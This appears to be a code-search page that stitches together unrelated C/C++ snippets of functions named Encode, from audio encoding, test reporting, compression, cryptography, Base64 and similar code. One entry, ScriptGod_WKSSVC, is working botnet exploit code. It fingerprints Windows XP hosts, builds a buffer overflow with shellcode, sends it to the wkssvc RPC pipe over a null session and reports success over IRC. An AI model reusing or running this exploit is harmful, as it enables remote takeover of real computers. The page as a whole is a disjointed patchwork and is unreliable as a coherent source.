        int out_samples = avresample_convert(pv->avresample,
                                             frame.extended_data, out_linesize,
                                             frame.nb_samples,
                                             &pv->input_buf,       in_linesize,
                                             frame.nb_samples);
        if (out_samples != pv->samples_per_frame)
        {
            // we're not doing sample rate conversion, so this shouldn't happen
            hb_log("encavcodecaWork: avresample_convert() failed");
            return NULL;
        }
    }

    // Libav requires that timebase of audio frames be in sample_rate units
    frame.pts = pts + (90000 * pos / (sizeof(float) *
                                      pv->out_discrete_channels *
                                      audio->config.out.samplerate));
    frame.pts = av_rescale(frame.pts, pv->context->sample_rate, 90000);

    // Prepare output packet
    AVPacket pkt;
    int got_packet;
    hb_buffer_t *out = hb_buffer_init(pv->max_output_bytes);
    av_init_packet(&pkt);
    pkt.data = out->data;
    pkt.size = out->alloc;

    // Encode
    int ret = avcodec_encode_audio2(pv->context, &pkt, &frame, &got_packet);
    if (ret < 0)
    {
        hb_log("encavcodeca: avcodec_encode_audio failed");
        hb_buffer_close(&out);
        return NULL;
    }

    if (got_packet && pkt.size)
    {
        out->size = pkt.size;
        // The output pts from libav is in context->time_base. Convert it back
        // to our timebase.
        out->s.start     = av_rescale_q(pkt.pts, pv->context->time_base,
                                        (AVRational){1, 90000});
        out->s.duration  = (double)90000 * pv->samples_per_frame /
                                           audio->config.out.samplerate;
        out->s.stop      = out->s.start + out->s.duration;
        out->s.type      = AUDIO_BUF;
        out->s.frametype = HB_FRAME_AUDIO;
    }
    else
    {
        hb_buffer_close(&out);
        return Encode(w);
    }

    return out;
}

static hb_buffer_t * Flush( hb_work_object_t * w )
{
    hb_buffer_list_t list;
    hb_buffer_t *buf;

    hb_buffer_list_clear(&list);
    buf = Encode( w );
    while (buf != NULL)
    {
        hb_buffer_list_append(&list, buf);
        buf = Encode( w );
    }

    hb_buffer_list_append(&list, hb_buffer_eof_init());
    return hb_buffer_list_clear(&list);
}
Пример #19
0
static void jsB_encodeURI(js_State *J)
{
	Encode(J, js_tostring(J, 1), URIUNESCAPED URIRESERVED "#");
}
		void RunCompleted()
		{
			int errors = 0;
			int failures = 0;
			tString failure_type;
			tString failure_msg;

			*stream_ << _T("<?xml version=\"1.0\" encoding=\"utf-8\" standalone=\"yes\" ?>") << std::endl
				<< _T("<TestRun>") << std::endl;

			if( failedTests_.size() > 0)
			{
				*stream_ << _T("  <FailedTests>") << std::endl;

				for( size_t i= 0; i<failedTests_.size(); i++ )
				{
					switch (failedTests_[i].result_)
					{
					case TestResult::fail:
						failure_type = _T("Assertion");
						failure_msg  = _T("");
						failures++;
						break;
					case TestResult::ex:
						failure_type = _T("Assertion");
						failure_msg  = _T("Thrown exception: ") + failedTests_[i].exceptionTypeid_ + _T("\n");
						failures++;
						break;
					case TestResult::warn:
						failure_type = _T("Assertion");
						failure_msg  = _T("Destructor failed\n");
						failures++;
						break;
					case TestResult::term:
						failure_type = _T("Error");
						failure_msg  = _T("Test application terminated abnormally\n");
						errors++;
						break;
					case TestResult::ex_ctor:
						failure_type = _T("Error");
						failure_msg  = _T("Constructor has thrown an exception: ") + failedTests_[i].exceptionTypeid_ + _T("\n");
						errors++;
						break;
					case TestResult::rethrown:
						failure_type = _T("Assertion");
						failure_msg  = _T("Child failed\n");
						failures++;
						break;
					default: // ok, skipped, dummy
						failure_type = _T("Error");
						failure_msg  = _T("Unknown testNum_ status, this should have never happened. ")
							_T("You may just have found a bug in TUT, please report it immediately.\n");
						errors++;
						break;
					}

					*stream_ << _T("    <FailedTest id=\"") << failedTests_[i].testNum_ << _T("\">") << std::endl
						<< _T("      <Name>") << Encode(failedTests_[i].groupName_) + _T("::") + Encode(failedTests_[i].name_) << _T("</Name>") << std::endl
						<< _T("      <FailureType>") << failure_type << _T("</FailureType>") << std::endl
						<< _T("      <Location>") << std::endl
						<< _T("        <File>Unknown</File>") << std::endl
						<< _T("        <Line>Unknown</Line>") << std::endl
						<< _T("      </Location>") << std::endl
						<< _T("      <Message>") << Encode(failure_msg + failedTests_[i].msg_) << _T("</Message>") << std::endl
						<< _T("    </FailedTest>") << std::endl;
				}

				*stream_ << _T("  </FailedTests>") << std::endl;
			}

			/* *********************** passed tests ***************************** */
			if( passedTests_.size() > 0) 
			{
				*stream_ << _T("  <SuccessfulTests>") << std::endl;

				for (unsigned int i=0; i<passedTests_.size(); i++)
				{
					*stream_ << _T("    <Test id=\"") << passedTests_[i].testNum_ << _T("\">") << std::endl
						<< _T("      <Name>") << Encode(passedTests_[i].groupName_) + _T("::") + Encode(passedTests_[i].name_) << _T("</Name>") << std::endl
						<< _T("    </Test>") << std::endl;
				}

				*stream_ << _T("  </SuccessfulTests>") << std::endl;
			}

			/* *********************** statistics ***************************** */
			*stream_ << _T("  <Statistics>") << std::endl
				<< _T("    <Tests>") << (failedTests_.size() + passedTests_.size()) << _T("</Tests>") << std::endl
				<< _T("    <FailuresTotal>") << failedTests_.size() << _T("</FailuresTotal>") << std::endl
				<< _T("    <Errors>") << errors << _T("</Errors>") << std::endl
				<< _T("    <Failures>") << failures << _T("</Failures>") << std::endl
				<< _T("  </Statistics>") << std::endl;

			/* *********************** footer ***************************** */
			*stream_ << _T("</TestRun>") << std::endl;
		}
Пример #21
0
BOOL ScriptGod_WKSSVC( unsigned long nTargetID, EXINFO exinfo )
{
	int TargetOS;
	char szShellBuf[ 512 ];
	int iShellSize;

	// =============================
	char* pszTarget;
	// ---
	char szNetbiosTarget[ 8192 ];
	wchar_t wszNetbiosTarget[ 8192 ];
	unsigned char szShellcodeEncoded[ ( sizeof( szShellBuf ) * 2 ) + 1 ];
	unsigned char szExploitsData[ 3500 ];
	unsigned long nExploitsDataPos;
	wchar_t wszExploitsData[ sizeof( szExploitsData ) ];
	// ---
	char szIPC[ 8192 ];
	NETRESOURCE NetSource;
	// ---
	char szPipe[ 8192 ];
	HANDLE hPipe;
	// ---
	RPC_ReqBind BindPacket;
	unsigned long nBytesWritten;
	RPC_ReqNorm ReqNormalHeader;
	unsigned long nPacketSize;
	unsigned char* pPacket;
	unsigned long nPacketPos;
	// ============================

	// check if xp
	TargetOS = FpHost( exinfo.ip, FP_RPC );
	if( TargetOS != OS_WINXP )
		return FALSE;

	// parameters
	pszTarget = exinfo.ip;

	// get shellcode
	iShellSize = GetRNS0TerminatedShellcode( szShellBuf, sizeof( szShellBuf ), GetIP( exinfo.sock ), filename );
	if( !iShellSize )
		return FALSE;

	// generate exploits buffer
	// ========================
	memset( szShellcodeEncoded, 0, sizeof( szShellcodeEncoded ) );
	memset( szExploitsData, 0, sizeof( szExploitsData ) );
	memset( wszExploitsData, 0, sizeof( wszExploitsData ) );

	// fill with NOPs (using inc ecx instead of NOP, 0-terminated-string)
	memset( szExploitsData, 'A', sizeof( szExploitsData ) - 1 );

	// new EIP
	*(unsigned long*)( &szExploitsData[ Targets[ nTargetID ].nNewEIP_BufferOffset ] ) = Targets[ nTargetID ].nNewEIP;

	// some NOPs
	nExploitsDataPos = 2300;

	// add stack
	memcpy( &szExploitsData[ nExploitsDataPos ], szStack, sizeof( szStack ) - 1 );
	nExploitsDataPos += sizeof( szStack ) - 1;

	// add decoder
	memcpy( &szExploitsData[ nExploitsDataPos ], szDecoder, sizeof( szDecoder ) - 1 );
	nExploitsDataPos += sizeof( szDecoder ) - 1;

	// add shellcode
	// - bind port
	// - encode
	Encode( (unsigned char*)szShellBuf, iShellSize, szShellcodeEncoded );
	// - add
	memcpy( &szExploitsData[ nExploitsDataPos ], szShellcodeEncoded, strlen( (char*)szShellcodeEncoded ) );
	nExploitsDataPos += strlen( (char*)szShellcodeEncoded );
	// - 0 terminaten for decoder
	szExploitsData[ nExploitsDataPos ] = 0;
	nExploitsDataPos += 1;

	// convert to UNICODE
	// ==================
	for( int n = 0; n < sizeof( szExploitsData ); n++ )
		wszExploitsData[ n ] = szExploitsData[ n ];
	//MultiByteToWideChar( CP_ACP, 0, (char*)szExploitsData, -1, wszExploitsData, sizeof( wszExploitsData ) / sizeof( wchar_t ) );
	snprintf( szNetbiosTarget, sizeof( szNetbiosTarget ), "\\\\%s", pszTarget );
	mbstowcs( wszNetbiosTarget, szNetbiosTarget, sizeof( wszNetbiosTarget ) / sizeof( wchar_t ) );
	
	// create NULL session
	// ===================
	if( strcmpi( pszTarget, "." ) )
	{
		snprintf( szIPC, sizeof( szIPC ), "\\\\%s\\ipc$", pszTarget );
		memset( &NetSource, 0 ,sizeof( NetSource ) );
		NetSource.lpRemoteName = szIPC;
		fWNetAddConnection2( &NetSource, "", "", 0 );
	}
	// ===================

	// connect to pipe
	// ===============
	snprintf( szPipe, sizeof( szPipe ), "\\\\%s\\pipe\\wkssvc", pszTarget );
	hPipe = CreateFile( szPipe, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL );
	if( hPipe == INVALID_HANDLE_VALUE )
	{
		fWNetCancelConnection2( NetSource.lpRemoteName, 0, FALSE );
		return FALSE;
	}
	// ===============

	// bind packet
	// ===========
	memset( &BindPacket, 0, sizeof( BindPacket ) );
	BindPacket.NormalHeader.versionmaj		= 5;
	BindPacket.NormalHeader.versionmin		= 0;
	BindPacket.NormalHeader.type			= 11;	// bind
	BindPacket.NormalHeader.flags			= 3;	// first + last fragment
	BindPacket.NormalHeader.representation	= 0x00000010; // little endian
	BindPacket.NormalHeader.fraglength		= sizeof( BindPacket );
	BindPacket.NormalHeader.authlength		= 0;
	BindPacket.NormalHeader.callid			= 1;
	BindPacket.maxtsize						= 4280;
	BindPacket.maxrsize						= 4280;
	BindPacket.assocgid						= 0;
	BindPacket.numelements					= 1;
	BindPacket.contextid					= 0;
	BindPacket.numsyntaxes					= 1;
	BindPacket.Interface1.version			= 1;
	memcpy( BindPacket.Interface1.byte, "\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3\xf8\x7e\x34\x5a", 16 );
	BindPacket.Interface2.version			= 2;
	memcpy( BindPacket.Interface2.byte, "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60", 16 );

	// send
	if( !WriteFile( hPipe, &BindPacket, sizeof( RPC_ReqBind ), &nBytesWritten, NULL ) )
	{
		CloseHandle( hPipe );
		fWNetCancelConnection2( NetSource.lpRemoteName, 0, FALSE );
		return FALSE;
	}
	// ===========

	// request
	// =======
	// generate packet
	// ---------------

	// calc packet size
	nPacketSize = 0;
	nPacketSize += sizeof( szWKSSVCUnknown1 ) - 1;
	nPacketSize += sizeof( UNISTR2 );
	nPacketSize += ( wcslen( wszNetbiosTarget ) + 1 ) * sizeof( wchar_t );
	while( nPacketSize % 4 )
		nPacketSize++;
	if( Targets[ nTargetID ].bCanUse_NetAddAlternateComputerName )
		nPacketSize += sizeof( szWKSSVCUnknown2 ) - 1;
	nPacketSize += sizeof( UNISTR2 ); 
	nPacketSize += ( wcslen( wszExploitsData ) + 1 ) * sizeof( wchar_t );
	while( nPacketSize % 4 )
		nPacketSize++;
	nPacketSize += 8; // szWSSKVCUnknown3
	if( Targets[ nTargetID ].bCanUse_NetAddAlternateComputerName )
		nPacketSize += 4; // NetAddAlternateComputerName = reserved
	else
		nPacketSize += 2; // NetValidateName = NameType

	// alloc packet
	pPacket = (unsigned char*)malloc( nPacketSize );
	if( !pPacket )
	{
		CloseHandle( hPipe );
		fWNetCancelConnection2( NetSource.lpRemoteName, 0, FALSE );
		return FALSE;
	}
	memset( pPacket, 0, nPacketSize );

	// build packet
	nPacketPos = 0;

	// - szWKSSVCUnknown1
	memcpy( &pPacket[ nPacketPos ], szWKSSVCUnknown1, sizeof( szWKSSVCUnknown1 ) - 1 );
	nPacketPos += sizeof( szWKSSVCUnknown1 ) - 1;

	// - wszNetbiosTarget
	( (UNISTR2*)&pPacket[ nPacketPos ] )->length	= wcslen( wszNetbiosTarget ) + 1;
	( (UNISTR2*)&pPacket[ nPacketPos ] )->unknown	= 0;
	( (UNISTR2*)&pPacket[ nPacketPos ] )->maxlength	= ( (UNISTR2*)&pPacket[ nPacketPos ] )->length;
	nPacketPos += sizeof( UNISTR2 );

	wcscpy( (wchar_t*)&pPacket[ nPacketPos ], wszNetbiosTarget );
	nPacketPos += ( wcslen( wszNetbiosTarget ) + 1 ) * sizeof( wchar_t );

	// - align
	while( nPacketPos % 4 )
		nPacketPos++;

	// - szWKSSVCUnknown2
	if( Targets[ nTargetID ].bCanUse_NetAddAlternateComputerName )
	{
		memcpy( &pPacket[ nPacketPos ], szWKSSVCUnknown2, sizeof( szWKSSVCUnknown2 ) - 1 );
		nPacketPos += sizeof( szWKSSVCUnknown2 ) - 1;
	}

	// - wszExploitsData
	( (UNISTR2*)&pPacket[ nPacketPos ] )->length	= wcslen( wszExploitsData ) + 1;
	( (UNISTR2*)&pPacket[ nPacketPos ] )->unknown	= 0;
	( (UNISTR2*)&pPacket[ nPacketPos ] )->maxlength	= ( (UNISTR2*)&pPacket[ nPacketPos ] )->length;
	nPacketPos += sizeof( UNISTR2 );

	wcscpy( (wchar_t*)&pPacket[ nPacketPos ], wszExploitsData );
	nPacketPos += ( wcslen( wszExploitsData ) + 1 ) * sizeof( wchar_t );

	// - align
	while( nPacketPos % 4 )
		nPacketPos++;

	// - szWSSKVCUnknown3 (only eigth 0x00s)
	memset( &pPacket[ nPacketPos ], 0, 8 );
	nPacketPos += 8;

	if( Targets[ nTargetID ].bCanUse_NetAddAlternateComputerName )
	{
		// NetAddAlternateComputerName = 0
		*(DWORD*)&pPacket[ nPacketPos ] = 0;
		nPacketPos += sizeof( DWORD );
	}
	else
	{
		// NetValidateName = NetSetupMachine
		*(unsigned short*)&pPacket[ nPacketPos ] = 1;
		nPacketPos += 2;
	}

	// header
	memset( &ReqNormalHeader, 0, sizeof( ReqNormalHeader ) );
	ReqNormalHeader.NormalHeader.versionmaj		= 5;
	ReqNormalHeader.NormalHeader.versionmin		= 0;
	ReqNormalHeader.NormalHeader.type			= 0;	// request
	ReqNormalHeader.NormalHeader.flags			= 3;	// first + last fragment
	ReqNormalHeader.NormalHeader.representation	= 0x00000010; // little endian
	ReqNormalHeader.NormalHeader.authlength		= 0;
	ReqNormalHeader.NormalHeader.callid			= 1;
	ReqNormalHeader.prescontext					= 0;
	if( Targets[ nTargetID ].bCanUse_NetAddAlternateComputerName )
		ReqNormalHeader.opnum					= 27;	// NetrAddAlternateComputerName
	else
		ReqNormalHeader.opnum					= 25;	// NetrValidateName2
	// send
	if( !SendReqPacket_Part( hPipe, ReqNormalHeader, pPacket, nPacketSize, 4280, true ) )
	{
		CloseHandle( hPipe );
		free( pPacket );
		fWNetCancelConnection2( NetSource.lpRemoteName, 0, FALSE );
		return FALSE;
	}
	// =======
	
	// clean up
	// =================;
	CloseHandle( hPipe );
	free( pPacket );
	fWNetCancelConnection2( NetSource.lpRemoteName, 0, FALSE );

	char buffer[ IRCLINE ];
	//_snprintf(buffer, sizeof(buffer), "[%s]: Exploiting IP: %s.", exploit[exinfo.exploit].name, exinfo.ip);
	irc_privmsg(exinfo.sock, exinfo.chan, buffer, exinfo.notice);
	addlog(buffer);
	exploit[exinfo.exploit].stats++;

	return TRUE;
}
Пример #22
0
static hb_buffer_t * Encode( hb_work_object_t * w )
{
    hb_work_private_t * pv = w->private_data;
    uint64_t pts, pos;
    hb_audio_t * audio = w->audio;
    hb_buffer_t * buf;
    int ii;

    if( hb_list_bytes( pv->list ) < pv->input_samples * sizeof( float ) )
    {
        return NULL;
    }

    hb_list_getbytes( pv->list, pv->buf, pv->input_samples * sizeof( float ),
                      &pts, &pos);

    hb_chan_map_t *map = NULL;
    if ( audio->config.in.codec == HB_ACODEC_AC3 )
    {
        map = &hb_ac3_chan_map;
    }
    else if ( audio->config.in.codec == HB_ACODEC_DCA )
    {
        map = &hb_qt_chan_map;
    }
    if ( map )
    {
        int layout;
        switch (audio->config.out.mixdown)
        {
            case HB_AMIXDOWN_MONO:
                layout = HB_INPUT_CH_LAYOUT_MONO;
                break;
            case HB_AMIXDOWN_STEREO:
            case HB_AMIXDOWN_DOLBY:
            case HB_AMIXDOWN_DOLBYPLII:
                layout = HB_INPUT_CH_LAYOUT_STEREO;
                break;
            case HB_AMIXDOWN_6CH:
            default:
                layout = HB_INPUT_CH_LAYOUT_3F2R | HB_INPUT_CH_LAYOUT_HAS_LFE;
                break;
        }
        hb_layout_remap( map, &hb_smpte_chan_map, layout, 
                        (float*)pv->buf, AC3_SAMPLES_PER_FRAME);
    }
    
    for (ii = 0; ii < pv->input_samples; ii++)
    {
        // ffmpeg float samples are -1.0 to 1.0
        pv->samples[ii] = ((float*)pv->buf)[ii] / 32768.0;
    }

    buf = hb_buffer_init( pv->output_bytes );
    buf->size = avcodec_encode_audio( pv->context, buf->data, buf->alloc,
                                      (short*)pv->samples );

    buf->start = pts + 90000 * pos / pv->out_discrete_channels / sizeof( float ) / audio->config.out.samplerate;
    buf->stop  = buf->start + 90000 * AC3_SAMPLES_PER_FRAME / audio->config.out.samplerate;

    buf->frametype = HB_FRAME_AUDIO;

    if ( !buf->size )
    {
        hb_buffer_close( &buf );
        return Encode( w );
    }
    else if (buf->size < 0)
    {
        hb_log( "encac3: avcodec_encode_audio failed" );
        hb_buffer_close( &buf );
        return NULL;
    }

    return buf;
}
Пример #23
0
/**
 * Saves to disk the image in a specific format.
 * \param hFile: file handle, open and enabled for writing.
 * \param imagetype: file format, see ENUM_CXIMAGE_FORMATS
 * \return true if everything is ok
 */
bool CxImage::Encode(FILE *hFile, DWORD imagetype)
{
	CxIOFile file(hFile);
	return Encode(&file,imagetype);
}
Пример #24
0
EFI_STATUS
EfiCompress (
  IN      UINT8   *SrcBuffer,
  IN      UINT32  SrcSize,
  IN      UINT8   *DstBuffer,
  IN OUT  UINT32  *DstSize
  )
/*++

Routine Description:

  The main compression routine.

Arguments:

  SrcBuffer   - The buffer storing the source data
  SrcSize     - The size of source data
  DstBuffer   - The buffer to store the compressed data
  DstSize     - On input, the size of DstBuffer; On output,
                the size of the actual compressed data.

Returns:

  EFI_BUFFER_TOO_SMALL  - The DstBuffer is too small. In this case,
                DstSize contains the size needed.
  EFI_SUCCESS           - Compression is successful.

--*/
{
  EFI_STATUS Status = EFI_SUCCESS;
  
  //
  // Initializations
  //
  mBufSiz = 0;
  mBuf = NULL;
  mText       = NULL;
  mLevel      = NULL;
  mChildCount = NULL;
  mPosition   = NULL;
  mParent     = NULL;
  mPrev       = NULL;
  mNext       = NULL;

  
  mSrc = SrcBuffer;
  mSrcUpperLimit = mSrc + SrcSize;
  mDst = DstBuffer;
  mDstUpperLimit = mDst + *DstSize;

  PutDword(0L);
  PutDword(0L);
  
  MakeCrcTable ();

  mOrigSize = mCompSize = 0;
  mCrc = INIT_CRC;
  
  //
  // Compress it
  //
  
  Status = Encode();
  if (EFI_ERROR (Status)) {
    return EFI_OUT_OF_RESOURCES;
  }
  
  //
  // Null terminate the compressed data
  //
  if (mDst < mDstUpperLimit) {
    *mDst++ = 0;
  }
  
  //
  // Fill in compressed size and original size
  //
  mDst = DstBuffer;
  PutDword(mCompSize+1);
  PutDword(mOrigSize);

  //
  // Return
  //
  
  if (mCompSize + 1 + 8 > *DstSize) {
    *DstSize = mCompSize + 1 + 8;
    return EFI_BUFFER_TOO_SMALL;
  } else {
    *DstSize = mCompSize + 1 + 8;
    return EFI_SUCCESS;
  }

}
Пример #25
0
void LcfReader::ReadString(std::string& ref, size_t size) {
	char* chars = new char[size];
	Read(chars, 1, size);
	ref = Encode(std::string(chars, size));
	delete[] chars;
}
Пример #26
0
void PolynomialMod2::Encode(byte *output, size_t outputLen) const
{
	ArraySink sink(output, outputLen);
	Encode(sink, outputLen);
}
Пример #27
0
/**
 * Encodes a binary uint8 array into a Base64 string
 *
 * @param Source the binary data to convert
 *
 * @return a string that encodes the binary data in a way that can be safely transmitted via various Internet protocols
 */
FString FBase64::Encode(const TArray<uint8>& Source)
{
	return Encode((uint8*)Source.GetData(), Source.Num());
}
Пример #28
0
void PolynomialMod2::DEREncodeAsOctetString(BufferedTransformation &bt, size_t length) const
{
	DERGeneralEncoder enc(bt, OCTET_STRING);
	Encode(enc, length);
	enc.MessageEnd();
}
Пример #29
0
//============================================================
// <T>´ò°üÊý¾ÝΪ×Ö·û´®¡£</T>
//
// @return ×Ö·û´®
//============================================================
TCharC* TFsUniqueId::Pack(){
   return Encode(_value, _pMemory, _capacity);
}
Пример #30
0
BOOL WINAPI api_encode(char *str, int len, const char *encoding)
{
  return (Encode(str,len,encoding)==true?TRUE:FALSE);
}